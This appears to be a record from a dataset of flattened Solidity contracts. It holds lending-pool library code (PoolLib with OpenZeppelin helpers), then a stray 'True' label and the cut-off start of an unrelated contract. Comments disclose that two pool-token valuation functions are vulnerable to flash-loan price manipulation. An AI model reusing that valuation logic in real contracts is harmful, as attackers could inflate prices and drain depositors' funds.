accumulativeLossesOf(address) external view returns (uint256); function updateLossesReceived() external; } ////// contracts/token/interfaces/IStakeLockerFDT.sol /* pragma solidity 0.6.11; */ /* import "./IExtendedFDT.sol"; */ interface IStakeLockerFDT is IExtendedFDT { function fundsToken() external view returns (address); function fundsTokenBalance() external view returns (uint256); function bptLosses() external view returns (uint256); function lossesBalance() external view returns (uint256); } ////// contracts/interfaces/IStakeLocker.sol /* pragma solidity 0.6.11; */ /* import "../token/interfaces/IStakeLockerFDT.sol"; */ interface IStakeLocker is IStakeLockerFDT { function stakeDate(address) external returns (uint256); function stake(uint256) external; function unstake(uint256) external; function pull(address, uint256) external; function setAllowlist(address, bool) external; function openStakeLockerToPublic() external; function openToPublic() external view returns (bool); function allowed(address) external view returns (bool); function updateLosses(uint256) external; function intendToUnstake() external; function unstakeCooldown(address) external view returns (uint256); function lockupPeriod() external view returns (uint256); function stakeAsset() external view returns (address); function liquidityAsset() external view returns (address); function pool() external view returns (address); function setLockupPeriod(uint256) external; function cancelUnstake() external; function increaseCustodyAllowance(address, uint256) external; function transferByCustodian(address, address, uint256) external; function pause() external; function unpause() external; function isUnstakeAllowed(address) external view returns (bool); function isReceiveAllowed(uint256) external view returns (bool); } ////// lib/openzeppelin-contracts/contracts/math/SafeMath.sol /* pragma solidity >=0.6.0 <0.8.0; */ /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } ////// lib/openzeppelin-contracts/contracts/utils/Address.sol /* pragma solidity >=0.6.2 <0.8.0; */ /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } ////// lib/openzeppelin-contracts/contracts/token/ERC20/SafeERC20.sol /* pragma solidity >=0.6.0 <0.8.0; */ /* import "./IERC20.sol"; */ /* import "../../math/SafeMath.sol"; */ /* import "../../utils/Address.sol"; */ /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } ////// contracts/library/PoolLib.sol /* pragma solidity 0.6.11; */ /* import "lib/openzeppelin-contracts/contracts/math/SafeMath.sol"; */ /* import "lib/openzeppelin-contracts/contracts/token/ERC20/SafeERC20.sol"; */ /* import "../interfaces/ILoan.sol"; */ /* import "../interfaces/IBPool.sol"; */ /* import "../interfaces/IMapleGlobals.sol"; */ /* import "../interfaces/ILiquidityLocker.sol"; */ /* import "../interfaces/IERC20Details.sol"; */ /* import "../interfaces/ILoanFactory.sol"; */ /* import "../interfaces/IStakeLocker.sol"; */ /* import "../interfaces/IDebtLockerFactory.sol"; */ /// @title PoolLib is a library of utility functions used by Pool. library PoolLib { using SafeMath for uint256; using SafeERC20 for IERC20; uint256 public constant MAX_UINT256 = uint256(-1); uint256 public constant WAD = 10 ** 18; uint8 public constant DL_FACTORY = 1; // Factory type of DebtLockerFactory event LoanFunded(address indexed loan, address debtLocker, uint256 amountFunded); event DepositDateUpdated(address indexed liquidityProvider, uint256 depositDate); /***************************************/ /*** Pool Delegate Utility Functions ***/ /***************************************/ /** @dev Conducts sanity checks for Pools in the constructor. @param globals Instance of a MapleGlobals. @param liquidityAsset Asset used by Pool for liquidity to fund loans. @param stakeAsset Asset escrowed in StakeLocker. @param stakingFee Fee that the Stakers earn on interest, in basis points. @param delegateFee Fee that the Pool Delegate earns on interest, in basis points. */ function poolSanityChecks( IMapleGlobals globals, address liquidityAsset, address stakeAsset, uint256 stakingFee, uint256 delegateFee ) external view { IBPool bPool = IBPool(stakeAsset); require(globals.isValidLiquidityAsset(liquidityAsset), "P:INVALID_LIQ_ASSET"); require(stakingFee.add(delegateFee) <= 10_000, "P:INVALID_FEES"); require( globals.isValidBalancerPool(address(stakeAsset)) && bPool.isBound(globals.mpl()) && bPool.isBound(liquidityAsset) && bPool.isFinalized(), "P:INVALID_BALANCER_POOL" ); } /** @dev Funds a Loan for an amount, utilizing the supplied DebtLockerFactory for DebtLockers. @dev It emits a `LoanFunded` event. @param debtLockers Mapping contains the DebtLocker contract address corresponding to the DebtLockerFactory and Loan. @param superFactory Address of the PoolFactory. @param liquidityLocker Address of the LiquidityLocker contract attached with this Pool. @param loan Address of the Loan to fund. @param dlFactory The DebtLockerFactory to utilize. @param amt Amount to fund the Loan. */ function fundLoan( mapping(address => mapping(address => address)) storage debtLockers, address superFactory, address liquidityLocker, address loan, address dlFactory, uint256 amt ) external { IMapleGlobals globals = IMapleGlobals(ILoanFactory(superFactory).globals()); address loanFactory = ILoan(loan).superFactory(); // Auth checks. require(globals.isValidLoanFactory(loanFactory), "P:INVALID_LF"); require(ILoanFactory(loanFactory).isLoan(loan), "P:INVALID_L"); require(globals.isValidSubFactory(superFactory, dlFactory, DL_FACTORY), "P:INVALID_DLF"); address debtLocker = debtLockers[loan][dlFactory]; // Instantiate DebtLocker if it doesn't exist withing this factory if (debtLocker == address(0)) { debtLocker = IDebtLockerFactory(dlFactory).newLocker(loan); debtLockers[loan][dlFactory] = debtLocker; } // Fund the Loan. ILiquidityLocker(liquidityLocker).fundLoan(loan, debtLocker, amt); emit LoanFunded(loan, debtLocker, amt); } /** @dev Helper function used by Pool `claim` function, for when if a default has occurred. @param liquidityAsset IERC20 of Liquidity Asset. @param stakeLocker Address of StakeLocker. @param stakeAsset Address of BPTs. @param defaultSuffered Amount of shortfall in defaulted Loan after liquidation. @return bptsBurned Amount of BPTs burned to cover shortfall. @return postBurnBptBal Amount of BPTs returned to StakeLocker after burn. @return liquidityAssetRecoveredFromBurn Amount of Liquidity Asset recovered from burn. */ function handleDefault( IERC20 liquidityAsset, address stakeLocker, address stakeAsset, uint256 defaultSuffered ) external returns ( uint256 bptsBurned, uint256 postBurnBptBal, uint256 liquidityAssetRecoveredFromBurn ) { IBPool bPool = IBPool(stakeAsset); // stakeAsset = Balancer Pool Tokens // Check amount of Liquidity Asset coverage that exists in the StakeLocker. uint256 availableSwapOut = getSwapOutValueLocker(stakeAsset, address(liquidityAsset), stakeLocker); // Pull BPTs from StakeLocker. IStakeLocker(stakeLocker).pull(address(this), bPool.balanceOf(stakeLocker)); // To maintain accounting, account for direct transfers into Pool. uint256 preBurnLiquidityAssetBal = liquidityAsset.balanceOf(address(this)); uint256 preBurnBptBal = bPool.balanceOf(address(this)); // Burn enough BPTs for Liquidity Asset to cover default suffered. bPool.exitswapExternAmountOut( address(liquidityAsset), availableSwapOut >= defaultSuffered ? defaultSuffered : availableSwapOut, // Burn BPTs up to defaultSuffered amount preBurnBptBal ); // Return remaining BPTs to StakeLocker. postBurnBptBal = bPool.balanceOf(address(this)); bptsBurned = preBurnBptBal.sub(postBurnBptBal); bPool.transfer(stakeLocker, postBurnBptBal); liquidityAssetRecoveredFromBurn = liquidityAsset.balanceOf(address(this)).sub(preBurnLiquidityAssetBal); IStakeLocker(stakeLocker).updateLosses(bptsBurned); // Update StakeLockerFDT loss accounting for BPTs } /** @dev Calculates portions of claim from DebtLocker to be used by Pool `claim` function. @param claimInfo [0] = Total Claimed [1] = Interest Claimed [2] = Principal Claimed [3] = Fee Claimed [4] = Excess Returned Claimed [5] = Amount Recovered (from Liquidation) [6] = Default Suffered @param delegateFee Portion of interest (basis points) that goes to the Pool Delegate. @param stakingFee Portion of interest (basis points) that goes to the StakeLocker. @return poolDelegatePortion Total funds to send to the Pool Delegate. @return stakeLockerPortion Total funds to send to the StakeLocker. @return principalClaim Total principal claim. @return interestClaim Total interest claim. */ function calculateClaimAndPortions( uint256[7] calldata claimInfo, uint256 delegateFee, uint256 stakingFee ) external pure returns ( uint256 poolDelegatePortion, uint256 stakeLockerPortion, uint256 principalClaim, uint256 interestClaim ) { poolDelegatePortion = claimInfo[1].mul(delegateFee).div(10_000).add(claimInfo[3]); // Pool Delegate portion of interest plus fee. stakeLockerPortion = claimInfo[1].mul(stakingFee).div(10_000); // StakeLocker portion of interest. principalClaim = claimInfo[2].add(claimInfo[4]).add(claimInfo[5]); // principal + excess + amountRecovered interestClaim = claimInfo[1].sub(claimInfo[1].mul(delegateFee).div(10_000)).sub(stakeLockerPortion); // leftover interest } /** @dev Checks that the deactivation is allowed. @param globals Instance of a MapleGlobals. @param principalOut Amount of funds that are already funded to Loans. @param liquidityAsset Liquidity Asset of the Pool. */ function validateDeactivation(IMapleGlobals globals, uint256 principalOut, address liquidityAsset) external view { require(principalOut <= _convertFromUsd(globals, liquidityAsset, 100), "P:PRINCIPAL_OUTSTANDING"); } /********************************************/ /*** Liquidity Provider Utility Functions ***/ /********************************************/ /** @dev Updates the effective deposit date based on how much new capital has been added. If more capital is added, the deposit date moves closer to the current timestamp. @dev It emits a `DepositDateUpdated` event. @param amt Total deposit amount. @param account Address of account depositing. */ function updateDepositDate(mapping(address => uint256) storage depositDate, uint256 balance, uint256 amt, address account) internal { uint256 prevDate = depositDate[account]; // prevDate + (now - prevDate) * (amt / (balance + amt)) // NOTE: prevDate = 0 implies balance = 0, and equation reduces to now uint256 newDate = (balance + amt) > 0 ? prevDate.add(block.timestamp.sub(prevDate).mul(amt).div(balance + amt)) : prevDate; depositDate[account] = newDate; emit DepositDateUpdated(account, newDate); } /** @dev Performs all necessary checks for a `transferByCustodian` call. @dev From and to must always be equal. */ function transferByCustodianChecks(address from, address to, uint256 amount) external pure { require(to == from, "P:INVALID_RECEIVER"); require(amount != uint256(0), "P:INVALID_AMT"); } /** @dev Performs all necessary checks for an `increaseCustodyAllowance` call. */ function increaseCustodyAllowanceChecks(address custodian, uint256 amount, uint256 newTotalAllowance, uint256 fdtBal) external pure { require(custodian != address(0), "P:INVALID_CUSTODIAN"); require(amount != uint256(0), "P:INVALID_AMT"); require(newTotalAllowance <= fdtBal, "P:INSUF_BALANCE"); } /**********************************/ /*** Governor Utility Functions ***/ /**********************************/ /** @dev Transfers any locked funds to the Governor. Only the Governor can call this function. @param token Address of the token to be reclaimed. @param liquidityAsset Address of Liquidity Asset that is supported by the Pool. @param globals Instance of a MapleGlobals. */ function reclaimERC20(address token, address liquidityAsset, IMapleGlobals globals) external { require(msg.sender == globals.governor(), "P:NOT_GOV"); require(token != liquidityAsset && token != address(0), "P:INVALID_TOKEN"); IERC20(token).safeTransfer(msg.sender, IERC20(token).balanceOf(address(this))); } /************************/ /*** Getter Functions ***/ /************************/ /** @dev Official Balancer pool bdiv() function. Does synthetic float with 10^-18 precision. */ function _bdiv(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "P:DIV_ZERO"); uint256 c0 = a * WAD; require(a == 0 || c0 / a == WAD, "P:DIV_INTERNAL"); // bmul overflow uint256 c1 = c0 + (b / 2); require(c1 >= c0, "P:DIV_INTERNAL"); // badd require return c1 / b; } /** @dev Calculates the value of BPT in units of Liquidity Asset. @dev Vulnerable to flash-loan attacks where the attacker can artificially inflate the BPT price by swapping a large amount of Liquidity Asset into the Pool and swapping back after this function is called. @param _bPool Address of Balancer pool. @param liquidityAsset Asset used by Pool for liquidity to fund Loans. @param staker Address that deposited BPTs to StakeLocker. @param stakeLocker Escrows BPTs deposited by Staker. @return USDC value of Staker BPTs. */ function BPTVal( address _bPool, address liquidityAsset, address staker, address stakeLocker ) external view returns (uint256) { IBPool bPool = IBPool(_bPool); // StakeLockerFDTs are minted 1:1 (in wei) in the StakeLocker when staking BPTs, thus representing stake amount. // These are burned when withdrawing staked BPTs, thus representing the current stake amount. uint256 amountStakedBPT = IERC20(stakeLocker).balanceOf(staker); uint256 totalSupplyBPT = IERC20(_bPool).totalSupply(); uint256 liquidityAssetBalance = bPool.getBalance(liquidityAsset); uint256 liquidityAssetWeight = bPool.getNormalizedWeight(liquidityAsset); // liquidityAsset value = (amountStaked/totalSupply) * (liquidityAssetBalance/liquidityAssetWeight) return _bdiv(amountStakedBPT, totalSupplyBPT).mul(_bdiv(liquidityAssetBalance, liquidityAssetWeight)).div(WAD); } /** @dev Calculates Liquidity Asset swap out value of staker BPT balance escrowed in StakeLocker. @param _bPool Balancer pool that issues the BPTs. @param liquidityAsset Swap out asset (e.g. USDC) to receive when burning BPTs. @param staker Address that deposited BPTs to StakeLocker. @param stakeLocker Escrows BPTs deposited by Staker. @return liquidityAsset Swap out value of staker BPTs. */ function getSwapOutValue( address _bPool, address liquidityAsset, address staker, address stakeLocker ) public view returns (uint256) { return _getSwapOutValue(_bPool, liquidityAsset, IERC20(stakeLocker).balanceOf(staker)); } /** @dev Calculates Liquidity Asset swap out value of entire BPT balance escrowed in StakeLocker. @param _bPool Balancer pool that issues the BPTs. @param liquidityAsset Swap out asset (e.g. USDC) to receive when burning BPTs. @param stakeLocker Escrows BPTs deposited by Staker. @return liquidityAsset Swap out value of StakeLocker BPTs. */ function getSwapOutValueLocker( address _bPool, address liquidityAsset, address stakeLocker ) public view returns (uint256) { return _getSwapOutValue(_bPool, liquidityAsset, IBPool(_bPool).balanceOf(stakeLocker)); } function _getSwapOutValue( address _bPool, address liquidityAsset, uint256 poolAmountIn ) internal view returns (uint256) { // Fetch Balancer pool token information IBPool bPool = IBPool(_bPool); uint256 tokenBalanceOut = bPool.getBalance(liquidityAsset); uint256 tokenWeightOut = bPool.getDenormalizedWeight(liquidityAsset); uint256 poolSupply = bPool.totalSupply(); uint256 totalWeight = bPool.getTotalDenormalizedWeight(); uint256 swapFee = bPool.getSwapFee(); // Returns the amount of liquidityAsset that can be recovered from BPT burning uint256 tokenAmountOut = bPool.calcSingleOutGivenPoolIn( tokenBalanceOut, tokenWeightOut, poolSupply, totalWeight, poolAmountIn, swapFee ); // Max amount that can be swapped based on amount of liquidityAsset in the Balancer Pool uint256 maxSwapOut = tokenBalanceOut.mul(bPool.MAX_OUT_RATIO()).div(WAD); return tokenAmountOut <= maxSwapOut ? tokenAmountOut : maxSwapOut; } /** @dev Calculates BPTs required if burning BPTs for liquidityAsset, given supplied tokenAmountOutRequired. @dev Vulnerable to flash-loan attacks where the attacker can artificially inflate the BPT price by swapping a large amount of liquidityAsset into the pool and swapping back after this function is called. @param _bPool Balancer pool that issues the BPTs. @param liquidityAsset Swap out asset (e.g. USDC) to receive when burning BPTs. @param staker Address that deposited BPTs to stakeLocker. @param stakeLocker Escrows BPTs deposited by staker. @param liquidityAssetAmountRequired Amount of liquidityAsset required to recover. @return poolAmountInRequired poolAmountIn required. @return stakerBalance poolAmountIn currently staked. */ function getPoolSharesRequired( address _bPool, address liquidityAsset, address staker, address stakeLocker, uint256 liquidityAssetAmountRequired ) public view returns (uint256 poolAmountInRequired, uint256 stakerBalance) { // Fetch Balancer pool token information. IBPool bPool = IBPool(_bPool); uint256 tokenBalanceOut = bPool.getBalance(liquidityAsset); uint256 tokenWeightOut = bPool.getDenormalizedWeight(liquidityAsset); uint256 poolSupply = bPool.totalSupply(); uint256 totalWeight = bPool.getTotalDenormalizedWeight(); uint256 swapFee = bPool.getSwapFee(); // Fetch amount of BPTs required to burn to receive Liquidity Asset amount required. poolAmountInRequired = bPool.calcPoolInGivenSingleOut( tokenBalanceOut, tokenWeightOut, poolSupply, totalWeight, liquidityAssetAmountRequired, swapFee ); // Fetch amount staked in StakeLocker by Staker. stakerBalance = IERC20(stakeLocker).balanceOf(staker); } /** @dev Returns information on the stake requirements. @param globals Instance of a MapleGlobals. @param balancerPool Address of Balancer pool. @param liquidityAsset Address of Liquidity Asset, to be returned from swap out. @param poolDelegate Address of Pool Delegate. @param stakeLocker Address of StakeLocker. @return swapOutAmountRequired Min amount of Liquidity Asset coverage from staking required (in Liquidity Asset units). @return currentPoolDelegateCover Present amount of Liquidity Asset coverage from Pool Delegate stake (in Liquidity Asset units). @return enoughStakeForFinalization If enough stake is present from Pool Delegate for Pool finalization. @return poolAmountInRequired BPTs required for minimum Liquidity Asset coverage. @return poolAmountPresent Current staked BPTs. */ function getInitialStakeRequirements(IMapleGlobals globals, address balancerPool, address liquidityAsset, address poolDelegate, address stakeLocker) external view returns ( uint256 swapOutAmountRequired, uint256 currentPoolDelegateCover, bool enoughStakeForFinalization, uint256 poolAmountInRequired, uint256 poolAmountPresent ) { swapOutAmountRequired = _convertFromUsd(globals, liquidityAsset, globals.swapOutRequired()); ( poolAmountInRequired, poolAmountPresent ) = getPoolSharesRequired(balancerPool, liquidityAsset, poolDelegate, stakeLocker, swapOutAmountRequired); currentPoolDelegateCover = getSwapOutValue(balancerPool, liquidityAsset, poolDelegate, stakeLocker); enoughStakeForFinalization = poolAmountPresent >= poolAmountInRequired; } /************************/ /*** Helper Functions ***/ /************************/ /** @dev Converts from WAD precision to Liquidity Asset precision. @param amt Amount to convert. @param liquidityAssetDecimals Liquidity Asset decimal. */ function fromWad(uint256 amt, uint256 liquidityAssetDecimals) external pure returns (uint256) { return amt.mul(10 ** liquidityAssetDecimals).div(WAD); } /** @dev Returns Liquidity Asset in Liquidity Asset units when given integer USD (E.g., $100 = 100). @param globals Instance of a MapleGlobals. @param liquidityAsset Liquidity Asset of the pool. @param usdAmount USD amount to convert, in integer units (e.g., $100 = 100). @return usdAmount worth of Liquidity Asset, in Liquidity Asset units. */ function _convertFromUsd(IMapleGlobals globals, address liquidityAsset, uint256 usdAmount) internal view returns (uint256) { return usdAmount .mul(10 ** 8) // Cancel out 10 ** 8 decimals from oracle. .mul(10 ** IERC20Details(liquidityAsset).decimals()) // Convert to Liquidity Asset precision. .div(globals.getLatestPrice(liquidityAsset)); // Convert to Liquidity Asset value. } }
True
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/** *Submitted for verification at Etherscan.io on 2022-01-06 */ // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, 